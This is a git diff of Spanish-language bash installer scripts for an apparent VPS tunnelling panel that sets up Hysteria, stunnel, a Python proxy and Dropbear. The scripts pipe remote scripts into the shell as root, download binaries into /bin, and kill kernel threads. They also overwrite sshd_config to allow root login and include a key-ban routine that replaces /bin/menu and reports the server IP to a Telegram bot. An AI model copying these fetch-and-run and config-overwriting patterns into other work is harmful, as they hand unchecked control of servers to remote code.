+msg -nama ' COMPILANDO GoLang AUTHSSH ' +#if wget -O /bin/authSSH https://raw.githubusercontent.com/ChumoGH/ADMcgh/main/Plugins/authSSH &>/dev/null ; then +if wget -O /bin/authSSH https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu_inst/UDPserver-sh/authSSH &>/dev/null ; then + chmod +x /bin/authSSH + msg -verd ' OK' + else + msg -verm2 ' FAIL ' + rm -rf /bin/authSSH +fi +sleep 4s && del 1 +msg -nama ' COMPILANDO BINARIO DE SYSTEMA . . . . ' +if wget -O /etc/adm-lite/HYSTERIA/hysteria.service https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu_inst/UDPserver-sh/hysteria.service &>/dev/null ; then + chmod +x /etc/adm-lite/HYSTERIA/hysteria.service + systemctl disable hysteria.service &>/dev/null + #rm -f /etc/systemd/system/hysteria.service + + msg -verd ' OK' + else + msg -verm2 ' FAIL ' + rm -f /etc/adm-lite/HYSTERIA/hysteria.service +fi +sleep 4s && del 1 + sed -i "s%sysb%${sys}%g" /etc/adm-lite/HYSTERIA/hysteria.service + sed -i "s%ip4tbin%${ip4t}%g" /etc/adm-lite/HYSTERIA/hysteria.service + sed -i "s%ip6tbin%${ip6t}%g" /etc/adm-lite/HYSTERIA/hysteria.service + sed -i "s%iptb%${interfas}%g" /etc/adm-lite/HYSTERIA/hysteria.service + +install -Dm644 /etc/adm-lite/HYSTERIA/hysteria.service /etc/systemd/system + +systemctl start hysteria &>/dev/null +systemctl enable hysteria &>/dev/null +rm -f /etc/adm-lite/HYSTERIA/hysteria.service /etc/adm-lite/HYSTERIA/udpmod* +echo " IP : $(mip)" > /etc/adm-lite/HYSTERIA/data +echo " DOMINIO : ${domain}" >> /etc/adm-lite/HYSTERIA/data +echo " OBFS : ${OBFS}" >> /etc/adm-lite/HYSTERIA/data +echo " PUERTO : 36712" >> /etc/adm-lite/HYSTERIA/data +echo " ALPN : h3" >> /etc/adm-lite/HYSTERIA/data +echo " RANGO DE PUERTOS : 10000:65000" >> /etc/adm-lite/HYSTERIA/data +echo -e " \n Power By @drowkid01" >> /etc/adm-lite/HYSTERIA/data +msg -bar3 +echo "" +echo " --- TUS DATOS DE SERVICIO SON ---" +msg -bar3 +figlet -p -f smslant Hysteria | lolcat +msg -bar3 +cat /etc/adm-lite/HYSTERIA/data +msg -bar3 +enter +[[ $(ps x | grep hysteria| grep -v grep) ]] && echo -e "$(msg -verd 'SERVICIO HYSTERIA INICIADO EXITOSAMENTE')" || echo -e "$(msg -verm2 'SERVICIO HYSTERIA NO INICIADO')" +_menuH +} + +_menuH(){ +clear&&clear +msg -bar3 +cat /etc/adm-lite/HYSTERIA/data +msg -bar3 +unset op +[[ $(cat /etc/adm-lite/HYSTERIA/config.json | grep -w '//"alpn"') ]] && _ap='\033[0;31mOFF' || _ap='\033[0;32mON' +menu_func "CAMBIAR PUERTO" "CAMBIAR OBFS" "ALPN (http injector) \033[0;32m[ ${_ap}\033[0;32m ]" "REINICIAR SERVICIO" "\033[0;31mREMOVER SERVICIO" +msg -bar3 + selecy=$(selection_fun 5) +case $selecy in +1) +clear&&clear +unset _col +msg -bar3 +echo -e "INGRESE EL NUEVO PUERTO DE SERVICIO " +read -p " PUERTO : " _col +#_PA=$(cat /etc/adm-lite/HYSTERIA/config.json | grep -i listen |cut -d '"' -f4 |sed -e 's/[^0-9]//ig') +_PA=$(cat /etc/adm-lite/HYSTERIA/config.json |jq -r .listen |sed -e 's/[^0-9]//ig') + #sed -i "s%/bin/false%filemancgh%g" /etc/adm-lite/HYSTERIA/config.json +[[ ${_col} ]] && { +sed -i "s/${_PA}/${_col}/" /etc/adm-lite/HYSTERIA/config.json +sed -i "s/${_PA}/${_col}/" /etc/adm-lite/HYSTERIA/data +systemctl restart hysteria &>/dev/null +} + ;; + 2) +clear&&clear +unset _col +msg -bar3 +echo -e "INGRESE SU NUEVO OBFS " +read -p " OBFS : " _col +_obfs=$(cat /etc/adm-lite/HYSTERIA/config.json |jq -r .obfs) + #sed -i "s%/bin/false%filemancgh%g" /etc/adm-lite/HYSTERIA/config.json +[[ ${_col} ]] && { +sed -i "s/${_obfs}/${_col}/" /etc/adm-lite/HYSTERIA/config.json +sed -i "s/${_obfs}/${_col}/" /etc/adm-lite/HYSTERIA/data +systemctl restart hysteria &>/dev/null +} +;; +3) +clear&&clear +[[ $(cat /etc/adm-lite/HYSTERIA/config.json | grep -w '//"alpn"') ]] && { +sed -i '12d' /etc/adm-lite/HYSTERIA/config.json +sed -i '12i\ "alpn": "h3",' /etc/adm-lite/HYSTERIA/config.json +} || { +sed -i '12d' /etc/adm-lite/HYSTERIA/config.json +sed -i '12i\ //"alpn": "h3",' /etc/adm-lite/HYSTERIA/config.json +} +systemctl restart hysteria &>/dev/null +;; +4) +clear&&clear +unset _col +msg -bar3 +systemctl restart hysteria &>/dev/null +;; +5) +clear&&clear +rm -f /etc/adm-lite/HYSTERIA/* +systemctl disable hysteria &>/dev/null +systemctl remove hysteria &>/dev/null +rm -f /etc/systemd/system/hysteria.service +systemctl stop hysteria &>/dev/null +exit +;; + esac +} + +_menuH2(){ +clear&&clear +msg -bar3 +cat /etc/adm-lite/HYSTERIA/data.yaml +msg -bar3 +green "$APP_IMPORT_GUIDE" +yellow "El URI de configuraci�n de Hysteria 2 (con salto de puerto) " +red "$(cat /root/hy/url.txt)" +yellow "El URI de configuraci�n de Hysteria 2 (sin salto de puerto) " +red "$(cat /root/hy/url-nohop.txt)" +msg -bar3 +unset op +[[ $(cat /etc/adm-lite/HYSTERIA/config.yaml | grep -w '//"alpn"') ]] && _ap='\033[0;31mOFF' || _ap='\033[0;32mON' +menu_func "CAMBIAR PUERTO" "CAMBIAR CONTRASE�A" "REINICIAR SERVICIO" "\033[0;31mREMOVER SERVICIO" +msg -bar3 + selecy=$(selection_fun 5) +case $selecy in +1) +clear&&clear +unset _col +msg -bar3 + oldport=$(cat /etc/adm-lite/HYSTERIA/config.yaml 2>/dev/null | sed -n 1p | awk '{print $2}' | awk -F ":" '{print $2}') + echo -e "INGRESE EL NUEVO PUERTO DE SERVICIO " + read -p "Puerto [1-65535] (Puerto Ramdom Enter): " port + [[ -z $port ]] && port=$(shuf -i 2000-65535 -n 1) + until [[ -z $(ss -tunlp | grep -w udp | awk '{print $5}' | sed 's/.*://g' | grep -w "$port") ]]; do + if [[ -n $(ss -tunlp | grep -w udp | awk '{print $5}' | sed 's/.*://g' | grep -w "$port") ]]; then + echo -e "${RED} $port ${PLAIN} Puerto Ocupado , Reintente Nuevamente! " + read -p "Puerto [1-65535] (Puerto Ramdom Enter): " port + [[ -z $port ]] && port=$(shuf -i 2000-65535 -n 1) + fi + done + sed -i "1s#$oldport#$port#g" /etc/adm-lite/HYSTERIA/config.yaml + sed -i "1s#$oldport#$port#g" /root/hy/hy-client.yaml + sed -i "2s#$oldport#$port#g" /root/hy/hy-client.json + sed -i "s#$oldport#$port#g" /root/hy/url.txt + stophysteria && starthysteria + green "Su puerto fue modificado Exitosamente : $port" + cat /root/hy/url.txt + ;; + 2) +clear&&clear +unset _col +msg -bar3 + oldpasswd=$(cat /etc/adm-lite/HYSTERIA/config.yaml 2>/dev/null | sed -n 20p | awk '{print $2}') + oldobfs=$(cat /etc/adm-lite/HYSTERIA/config.yaml 2>/dev/null | sed -n 10p | awk '{print $2}') + echo -e "INGRESE SU NUEVA CLAVE/CONTRASE�A " + read -p " (Enter Clave RAMDON): " passwd + [[ -z $passwd ]] && passwd=$(date +%s%N | md5sum | cut -c 1-8) + + sed -i "20s#$oldpasswd#$passwd#g" /etc/adm-lite/HYSTERIA/config.yaml + sed -i "10s#$oldobfs#$passwd#g" /etc/adm-lite/HYSTERIA/config.yaml + sed -i "3s#$oldpasswd#$passwd#g" /root/hy/hy-client.yaml + sed -i "9s#$oldobfs#$passwd#g" /root/hy/hy-client.yaml + sed -i "3s#$oldpasswd#$passwd#g" /root/hy/hy-client.json + sed -i "8s#$oldobfs#$passwd#g" /root/hy/hy-client.json + sed -i "s#$oldpasswd#$passwd#g" /root/hy/url.txt + sed -i "s#$oldobfs#$passwd#g" /root/hy/url.txt + stophysteria && starthysteria + green "Su nueva contrase�a $passwd se aplico Exitosamente" + cat /root/hy/url.txt +;; +3) +stophysteria && starthysteria +;; +4) +clear&&clear +rm -f /etc/adm-lite/HYSTERIA/* + systemctl stop hysteria-server.service >/dev/null 2>&1 + systemctl disable hysteria-server.service >/dev/null 2>&1 + rm -f /lib/systemd/system/hysteria-server.service /lib/systemd/system/hysteria-server@.service + rm -rf /bin/Hysteria2 /etc/hysteria /root/hy /root/hysteria.sh + rm -f /bin/Hysteria2 + iptables -t nat -F PREROUTING >/dev/null 2>&1 + netfilter-persistent save >/dev/null 2>&1 +exit +;; + esac +} + +unset _So _Cu _HIS _HIS2 +while : +[[ $(ps x | grep -w 'udpServer'| grep -v grep) ]] && _So="$(msg -verd 'ON')" || _So="$(msg -verm2 'OFF')" +[[ $(ps x | grep -w 'UDP-Custom'| grep -v grep) ]] && _Cu="$(msg -verd 'ON')" || _Cu="$(msg -verm2 'OFF')" +[[ $(ps x | grep -w '/bin/hysteria' | grep -v grep) ]] && _HIS="$(msg -verd 'ON')" || _HIS="$(msg -verm2 'OFF')" +[[ $(ps x | grep -w '/bin/Hysteria2'| grep -v grep) ]] && _HIS2="$(msg -verd 'ON')" || _HIS2="$(msg -verm2 'OFF')" +_MSYS=" \n$(print_center "\033[0;35mUsuarios SSH del Sistema")" +_MSYS2="\n$(print_center "\033[0;35mNO SOPORTA USERS DE SISTEMA")" + +do +unset port + tittle + a=( [0]="\e[1;30m[\e[38;5;219m#" [1]="\e[1;30m]" ) + menu_func "UDP-REQUEST ${a[0]}socks-ip${a[1]} ${_So}" \ + "UDP-CUSTOM ${a[0]}http-custom${a[1]} ${_Cu}" \ + "UDP-HYSTERIA ${a[0]}app'smod${a[1]} ${_HIS}" \ + "UDP-HYSTERIA2 ${a[0]}http-injector${a[1]} ${_HIS2}" + back + #menu_func " UDP-REQUEST SocksIP \033[0;31m[${_So}\033[0;31m]${_MSYS}" "UDP-CUSTOM HTTPCustom \033[0;31m[${_Cu}\033[0;31m]${_MSYS}" "UDP-Hysteria APPMod's \033[0;31m[${_HIS}\033[0;31m] ${_MSYS}" + #echo -e "\033[0;35m [${cor[2]}01\033[0;35m]\033[0;33m ${flech}${cor[3]}UDP-REQUEST SocksIP \033[0;31m[${_So}\033[0;31m] ${_MSYS}" + #echo -e "\033[0;35m [${cor[2]}02\033[0;35m]\033[0;33m ${flech}${cor[3]}UDP-CUSTOM HTTPCustom \033[0;31m[${_Cu}\033[0;31m] ${_MSYS}" + #echo -e "\033[0;35m [${cor[2]}03\033[0;35m]\033[0;33m ${flech}${cor[3]}UDP-Hysteria APPMod's \033[0;31m[${_HIS}\033[0;31m] ${_MSYS}" + #echo -e "\033[0;35m [${cor[2]}04\033[0;35m]\033[0;33m ${flech}${cor[3]}UDP-Hysteria2 HTTP-Injector \033[0;31m[${_HIS2}\033[0;31m] ${_MSYS2}" + #msg -bar3 + #echo -ne "$(msg -verd " [0]") $(msg -verm2 "=>>") " && msg -bra "\033[1;41m Volver " + #msg -bar3 + opcion=$(selection_fun 4) + case $opcion in + 1) source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu_inst/UDPserver.org.sh) && exit;; + 2) source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu_inst/udp-custom.sh) && exit;; + 3) [[ $(ps x | grep -w "/bin/hysteria"| grep -v grep) ]] && _menuH || _hysteria ;; + 4) [[ $(ps x | grep -w "/bin/Hysteria2"| grep -v grep) ]] && _menuH2 || _hysteria2 ;; + 0) exit;; + esac +done + +pruebas(){ + +echo '[Unit] +Description=HysteriaUDP MOD Service BY @drowkid01 +After=network.target + +[Service] +User=root +Group=root' > /etc/adm-lite/HYSTERIA/hysteria.service +echo "ExecStartPost=${sys} net.ipv4.ip_forward=1 +ExecStartPost=${sys} net.ipv4.conf.all.rp_filter=0 +ExecStartPost=${sys} net.ipv4.conf.${interfas}.rp_filter=0 +ExecStartPost=${ip4t} -t nat -A PREROUTING -i ${interfas} -p udp --dport 10000:65000 -j DNAT --to-destination :36712 +ExecStartPost=${ip6t} -t nat -A PREROUTING -i ${interfas} -p udp --dport 10000:65000 -j DNAT --to-destination :36712 +ExecStopPost=${ip4t} -t nat -D PREROUTING -i ${interfas} -p udp --dport 10000:65000 -j DNAT --to-destination :36712 +ExecStopPost=${ip6t} -t nat -D PREROUTING -i ${interfas} -p udp --dport 10000:65000 -j DNAT --to-destination :36712" >> /etc/adm-lite/HYSTERIA/hysteria.service + +echo 'WorkingDirectory=/etc/adm-lite/HYSTERIA +Environment="PATH=/etc/adm-lite/HYSTERIA" +ExecStart=/bin/hysteria -config /etc/adm-lite/HYSTERIA/config.json server + +[Install] +WantedBy=multi-user.target +' >> /etc/adm-lite/HYSTERIA/hysteria.service + +} diff --git a/Recursos/test/autoconfig.sh b/Recursos/test/autoconfig.sh new file mode 100644 index 0000000..360dcba --- /dev/null +++ b/Recursos/test/autoconfig.sh @@ -0,0 +1,311 @@ +#!/bin/bash +#----------------------------------------------------------------------- + +function chekKEY { +[[ -z ${IP} ]] && IP=$(mip) +Key="$(cat /etc/cghkey)" +_double=$(curl -sSL "https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Control/Control-BOT") +IiP="$(ofus "$Key" | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}')" +_check2="$(echo -e "$_double" | grep ${IiP})" +[[ -z ${_check2} ]] && { +[[ ! -d /bin/ejecutar/Ubam ]] && mkdir /bin/ejecutar/Ubam +mss_='\n BotGEN NO AUTORIZADO POR @drowkid01 ' +echo 'clear&&clear +echo -e "\n\n\n \033[0;31m================================================== + ¡ 🚫 KEY BANEADA 🚫 ! CONTACTE Su ADMINISTRADOR + ================================================== \n\n ${mss_} \n\n + SI CONSIDERA QUE FUE UN ERROR, TECLEA ** cgh ** + " +' > /bin/menu +rm -f /etc/folteto +mv etc/adm-lite/* /bin/ejecutar/Ubam + MENSAJE="${TTini}${m3ssg}MSG RECIVIDO${m3ssg}${TTfin}\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" IP Clon: ${IP} Rechazada\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" ${lLaM} INSECTO DETECTADO EN AUTOCONFIG ${lLaM}\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" ${rUlq} Bot generador de key ${rUlq}\n" + MENSAJE+=" ${pUn5A} By @drowkid01 ${pUn5A} \n" + MENSAJE+=" ---------------------------------------------\n" + curl -s --max-time 10 -d "chat_id=$ID&disable_web_page_preview=1&text=$(echo -e "$MENSAJE")" $urlBOT &>/dev/null +} +} + + +source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/module) +#[[ -e /bin/ejecutar/msg ]] && source /bin/ejecutar/msg +source msg +msg -bar +ADM_inst="/etc/adm-lite" && [[ ! -d ${ADM_inst} ]] && exit +system=$(cat -n /etc/issue |grep 1 |cut -d ' ' -f6,7,8 |sed 's/1//' |sed 's/ //') +vercion=$(echo $system|awk '{print $2}'|cut -d '.' -f1,2) +echo -e "ESPERE UN MOMENTO MIENTRAS FIXEAMOS SU SISTEMA " + +fun_upgrade() { + sync + echo 3 >/proc/sys/vm/drop_caches + sync && sysctl -w vm.drop_caches=3 + sysctl -w vm.drop_caches=0 + swapoff -a + swapon -a +sudo apt install software-properties-common -y &> /dev/null +apt install python2 -y &> /dev/null +sudo update-alternatives --install /usr/bin/python python /usr/bin/python2 1 &> /dev/null + rm -rf /tmp/* > /dev/null 2>&1 + killall kswapd0 > /dev/null 2>&1 + killall tcpdump > /dev/null 2>&1 + killall ksoftirqd > /dev/null 2>&1 + echo > /etc/fixpython +} + +function aguarde() { + sleep .1 + echo -e "SU VERSION DE UBUNTU ${vercion} ES SUPERIOR A 18.04 " + helice() { + fun_upgrade >/dev/null 2>&1 & + tput civis + while [ -d /proc/$! ]; do + for i in / - \\ \|; do + sleep .1 + echo -ne "\e[1D$i" + done + done + tput cnorm + } + echo -ne "\033[1;37m OPTIMIZANDO Y \033[1;32mFIXEANDO \033[1;37mPYTHON \033[1;32m.\033[1;32m.\033[1;33m.\033[1;31m. \033[1;33m" + helice + echo -e "\e[1DOk" +} + +[[ "${vercion}" > "20" ]] && { +echo -e "" +msg -bar +[[ -e /etc/fixpython ]] || aguarde +} || { +echo + [[ -e /etc/fixpython ]] || { + echo -e " SU VERSION DE UBUNTU ${vercion} ES INFERIOR O 18.04 " + apt-get install python -y &>/dev/null + apt-get install python3 -y &>/dev/null + touch /etc/fixpython + } +} +clear + + +#----------------------------------------------------------------------- + + + +blanco(){ + [[ ! $2 = 0 ]] && { + echo -e "\033[1;37m$1\033[0m" + } || { + echo -ne " \033[1;37m$1:\033[0m " + } +} + +col(){ + + nom=$(printf '%-55s' "\033[0;92m${1} \033[0;31m>> \033[1;37m${2}") + echo -e " $nom\033[0;31m${3} \033[0;92m${4}\033[0m" +} + + +vacio(){ + + blanco "\n no se puede ingresar campos vacios..." +} + +cancelar(){ + + echo -e "\n \033[3;49;31minstalacion cancelada...\033[0m" +} + +continuar(){ + + echo -e " \033[3;49;32mEnter para continuar...\033[0m" +} + +fun_bar () { + comando[0]="$1" + comando[1]="$2" + ( + [[ -e $HOME/fim ]] && rm $HOME/fim + ${comando[0]} > /dev/null 2>&1 + ${comando[1]} > /dev/null 2>&1 + touch $HOME/fim + ) > /dev/null 2>&1 & + tput civis + echo -e "${col1}---------------------------------------------------${col0}" + echo -ne "${col7} ESPERE..${col5}[" + while true; do + for((i=0; i<18; i++)); do + echo -ne "${col4}#" + sleep 0.2s + done + [[ -e $HOME/fim ]] && rm $HOME/fim && break + echo -e "${col5}" + sleep 1s + tput cuu1 + tput dl1 + echo -ne "${col7} ESPERE..${col5}[" + done + echo -e "${col5}]${col7} -${col2} INSTALADO !${col7}" + tput cnorm + echo -e "${col1}---------------------------------------------------${col0}" + } + + + +function fix_ssl() { + helice() { + inst_ssl >/dev/null 2>&1 & + tput civis + while [ -d /proc/$! ]; do + for i in / - \\ \|; do + sleep .1 + echo -ne "\e[1D$i" + done + done + tput cnorm + } + echo -ne "\033[1;37m INSTALANDO \033[1;32mSTUNNEL (\033[1;37mS\033[1;32mS\033[1;32mL\033[1;33m)\033[1;31m. \033[1;33m" + helice + echo -e "\e[1DOk" +} + +function fix_py() { + helice() { + inst_py >/dev/null 2>&1 & + tput civis + while [ -d /proc/$! ]; do + for i in / - \\ \|; do + sleep .1 + echo -ne "\e[1D$i" + done + done + tput cnorm + } + echo -ne "\033[1;37m INSTALANDO \033[1;32m PYTHON (\033[1;37mS\033[1;32mO\033[1;32mC\033[1;33mK\033[1;31mS\033[1;33m)\033[1;32m . \033[1;33m" + helice + echo -e "\e[1DOk" +} + + +inst_ssl () { +pkill -f stunnel4 +apt purge stunnel4 -y > /dev/null 2>&1 +apt install stunnel4 -y > /dev/null 2>&1 +echo -e "cert = /etc/stunnel/stunnel.pem\nclient = no\nsocket = a:SO_REUSEADDR=1\nsocket = l:TCP_NODELAY=1\nsocket = r:TCP_NODELAY=1\n\n[stunnel]\naccept = 443\nconnect = 127.0.0.1:80\n" > /etc/stunnel/stunnel.conf +openssl genrsa -out key.pem 2048 > /dev/null 2>&1 +(echo "$(curl -sSL ipinfo.io > info && cat info | grep country | awk '{print $2}' | sed -e 's/[^a-z0-9 -]//ig')" ; echo "" ; echo "$(mip):81" ; echo "" ; echo "" ; echo "" ; echo "@cloudflare" )|openssl req -new -x509 -key key.pem -out cert.pem -days 1095 > /dev/null 2>&1 +cat key.pem cert.pem >> /etc/stunnel/stunnel.pem +sed -i 's/ENABLED=0/ENABLED=1/g' /etc/default/stunnel4 +service stunnel4 restart > /dev/null 2>&1 +rm -f info key.pem cert.pem +} + + +inst_py () { +sed -i '/PDirect80.py/d' /bin/autoboot +#msg -bar + #msg -nama ' Descargando binario Compilado !! ' +wget -O $HOME/PDirect80.py 'https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu_inst/autoconfig-sh/PDirect.py' +screen -dmS "ws80" python $HOME/PDirect80.py & > /root/proxy.log +} + +menuintro() { +clear&&clear +msg -bar #echo -e "\033[1;31m———————————————————————————————————————————————————\033[1;37m" +echo -e "\033[1;32m SSL + ( Payload / Directo ) | by: @drowkid01 " +msg -bar #echo -e "\033[1;31m———————————————————————————————————————————————————\033[1;37m" +echo -e "\033[1;36m SCRIPT REESTRUCTURA y AUTOCONFIGURACION " +msg -bar #echo -e "\033[1;31m———————————————————————————————————————————————————\033[1;37m" +echo -e "\033[1;37m Requiere tener el puerto libre 443 y el 80" +msg -bar +echo -e "\033[1;32m Visita https://t.me/ChumoGH_ADM , para detalles " +msg -bar + while : + do + #col "5)" "\033[1;33mCONFIGURAR Trojan" +col "1)" "\033[1;33mSSL + (Payload/Directo) - AUTO INSTALL" + #msg -bar +col "2)" "\033[1;33mCONFIGURAR PYTHON (RESPONSE STATUS 200)" + +col "3)" "\033[1;33mRemover AUTOCONFIG (Payload+SSL)" + msg -bar + col "0)" "SALIR \033[0;31m" + msg -bar + blanco "opcion" 0 + read opcion + case $opcion in + 1) + clear&&clear + source /etc/adm-lite/cabecalho + msg -nama ' RECONFIGURANDO STUNNEL (SSL) !! ' + echo '' + fix_ssl + msg -nama ' RECONFIGURANDO PYTHON SOCKS 80 !! ' + echo '' + fix_py + #------------------------------------------------------------------- + print_center -verd " ${aLerT} VERIFICANDO ACTIVIDAD DE SOCK PYTHON ${aLerT} \n ${aLerT} PORVAFOR ESPERE !! ${aLerT} " +autoboot &> /dev/null +sleep 2s && tput cuu1 && tput dl1 +sleep 1s && tput cuu1 && tput dl1 + +[[ $(ps x | grep "ws80 python" |grep -v grep ) ]] && { +msg -bar +print_center -verd " REACTIVADOR DE SOCK Python 80 ENCENDIDO " +[[ $(grep -wc "ws80" /bin/autoboot) = '0' ]] && { + echo -e "netstat -tlpn | grep -w 80 > /dev/null || { screen -r -S 'ws80' -X quit; screen -dmS ws80 python $HOME/PDirect80.py & >> /root/proxy.log ; }" >>/bin/autoboot + } || { + sed -i '/ws80/d' /bin/autoboot + echo -e "netstat -tlpn | grep -w 80 > /dev/null || { screen -r -S 'ws80' -X quit; screen -dmS ws80 python $HOME/PDirect80.py & >> /root/proxy.log ; }" >>/bin/autoboot + } +crontab -l > /root/cron +[[ -z $(cat < /root/cron | grep 'autoboot') ]] && echo "@reboot /bin/autoboot" >> /root/cron || { + [[ $(grep -wc "autoboot" /root/cron) > "1" ]] && { + sed -i '/autoboot/d' /root/cron + echo "@reboot /bin/autoboot" >> /root/cron + } +} + +crontab /root/cron +service cron restart +sleep 2s && tput cuu1 && tput dl1 +} || { +print_center -azu " FALTA ALGUN PARAMETRO PARA INICIAR REACTIVADOR " +sleep 2s && tput cuu1 && tput dl1 +return +} +tput cuu1 && tput dl1 +msg -bar +[[ $(ps x | grep -w "PDirect80.py" | grep -v "grep" | awk -F "pts" '{print $1}') ]] && print_center -verd "PYTHON INICIADO CON EXITO!!!" || print_center -ama " ERROR AL INICIAR PYTHON!!!" +msg -bar +sleep 1 + echo -e " INSTALACIÓN TERMINADA" + msg -bar + echo -e "Solucionado el error de conectividad mediante el puerto $porta con SNI" + break + ;; + 2) + source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu_inst/autoconfig-sh/Proxy.sh) + ;; + 3) + kill $(ps x | grep -w "PDirect80" | grep -v grep | cut -d ' ' -f1) &>/dev/null + sed -i '/PDirect80/d' /bin/autoboot + screen -wipe &>/dev/null + autoboot &>/dev/null + ;; + 0) break;; + *) blanco "\n selecione una opcion del 0 al 2" && sleep 1;; + esac + done +continuar +} +#chekKEY &> /dev/null 2>&1 +menuintro + diff --git a/Recursos/test/dropbear.sh b/Recursos/test/dropbear.sh new file mode 100644 index 0000000..b9b600c --- /dev/null +++ b/Recursos/test/dropbear.sh @@ -0,0 +1,212 @@ +#!/bin/bash +clear +SCPdir="/etc/adm-lite" +SCPfrm="${SCPdir}" +SCPinst="${SCPdir}"&& [[ ! -d ${SCPinst} ]] && exit + +fun_trans(){ +echo -e "\e[1;97m$@" +} + +declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m" ) +mportas () { +unset portas +portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN") +while read port; do +var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}') +[[ "$(echo -e $portas|grep "$var1 $var2")" ]] || portas+="$var1 $var2\n" +done <<< "$portas_var" +i=1 +echo -e "$portas" +} +fun_ip () { +if [[ -e /etc/VPS-MX/MEUIPvps ]]; then +IP="$(cat /etc/VPS-MX/MEUIPvps)" +else +MEU_IP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1) +MEU_IP2=$(wget -qO- ipv4.icanhazip.com) +[[ "$MEU_IP" != "$MEU_IP" ]] && IP="$MEU_IP2" || IP="$MEU_IP" +echo "$MEU_IP" > /etc/VPS-MX/MEUIPvps +fi +} +fun_eth () { +eth=$(ifconfig | grep -v inet6 | grep -v lo | grep -v 127.0.0.1 | grep "encap:Ethernet" | awk '{print $1}') + [[ $eth != "" ]] && { + msg -bar + echo -e "${cor[3]} $(fun_trans "Aplicar Mejoras Para Mejorar Paquetes SSH?")" + echo -e "${cor[3]} $(fun_trans "Opcion Para Usuarios Avanzados")" + msg -bar + read -p " [S/N]: " -e -i n sshsn + [[ "$sshsn" = @(s|S|y|Y) ]] && { + echo -e "${cor[1]} $(fun_trans "Correccion de problemas de paquetes en SSH...")" + echo -e " $(fun_trans "Cual es la tasa RX")" + echo -ne "[ 1 - 999999999 ]: "; read rx + [[ "$rx" = "" ]] && rx="999999999" + echo -e " $(fun_trans "Cual es la tasa TX")" + echo -ne "[ 1 - 999999999 ]: "; read tx + [[ "$tx" = "" ]] && tx="999999999" + apt-get install ethtool -y > /dev/null 2>&1 + ethtool -G $eth rx $rx tx $tx > /dev/null 2>&1 + } + msg -bar + } +} + +fun_bar () { +comando="$1" + _=$( +$comando > /dev/null 2>&1 +) & > /dev/null +pid=$! +while [[ -d /proc/$pid ]]; do +echo -ne " \033[1;33m[" + for((i=0; i<20; i++)); do + echo -ne "\033[1;31m##" + sleep 0.8 + done +echo -ne "\033[1;33m]" +sleep 1s +echo +tput cuu1 && tput dl1 +done +echo -ne " \033[1;33m[\033[1;31m########################################\033[1;33m] - \033[1;32m100%\033[0m\n" +sleep 1s +} +fun_dropbear () { + [[ -e /etc/default/dropbear ]] && { + msg -bar + echo -e "\033[1;32m $(fun_trans ${id} "REMOVIENDO DROPBEAR")" + msg -bar + service dropbear stop & >/dev/null 2>&1 + fun_bar "apt-get remove dropbear -y" + msg -bar + echo -e "\033[1;32m $(fun_trans "Dropbear Removido")" + msg -bar + [[ -e /etc/default/dropbear ]] && rm /etc/default/dropbear + return 0 + } +msg -bar +msg -tit +echo -e "\033[1;32m $(fun_trans " INSTALADOR DROPBEAR")" +msg -bar +echo -e "\033[1;31m $(fun_trans "Seleccione Puertos Validados en orden secuencial:\n")\033[1;32m 22 80 81 82 85 90\033[1;37m" +msg -bar +echo -ne "\033[1;31m $(fun_trans "Digite Puertos"): \033[1;37m" && read DPORT +tput cuu1 && tput dl1 +TTOTAL=($DPORT) + for((i=0; i<${#TTOTAL[@]}; i++)); do + [[ $(mportas|grep "${TTOTAL[$i]}") = "" ]] && { + echo -e "\033[1;33m $(fun_trans "Puerto Elegido:")\033[1;32m ${TTOTAL[$i]} OK" + PORT="$PORT ${TTOTAL[$i]}" + } || { + echo -e "\033[1;33m $(fun_trans "Puerto Elegido:")\033[1;31m ${TTOTAL[$i]} FAIL" + } + done + [[ -z $PORT ]] && { + echo -e "\033[1;31m $(fun_trans "Ningun Puerto Valida Fue Elegido")\033[0m" + return 1 + } +sysvar=$(cat -n /etc/issue |grep 1 |cut -d' ' -f6,7,8 |sed 's/1//' |sed 's/ //' | grep -o Ubuntu) +[[ ! $(cat /etc/shells|grep "/bin/false") ]] && echo -e "/bin/false" >> /etc/shells +[[ "$sysvar" != "" ]] && { +echo -e "Port 22 +Protocol 2 +KeyRegenerationInterval 3600 +ServerKeyBits 1024 +SyslogFacility AUTH +LogLevel INFO +LoginGraceTime 120 +PermitRootLogin yes +StrictModes yes +RSAAuthentication yes +PubkeyAuthentication yes +IgnoreRhosts yes +RhostsRSAAuthentication no +HostbasedAuthentication no +PermitEmptyPasswords no +ChallengeResponseAuthentication no +PasswordAuthentication yes +X11Forwarding yes +X11DisplayOffset 10 +PrintMotd no +PrintLastLog yes +TCPKeepAlive yes +#UseLogin no +AcceptEnv LANG LC_* +Subsystem sftp /usr/lib/openssh/sftp-server +UsePAM yes" > /etc/ssh/sshd_config +msg -bar +echo -e "${cor[2]} $(fun_trans ${id} "Instalando dropbear")" +msg -bar +fun_bar "apt-get install dropbear -y" +apt-get install dropbear -y > /dev/null 2>&1 +msg -bar +touch /etc/dropbear/banner +msg -bar +echo -e "${cor[2]} $(fun_trans ${id} "Configurando dropbear")" +cat < /etc/default/dropbear 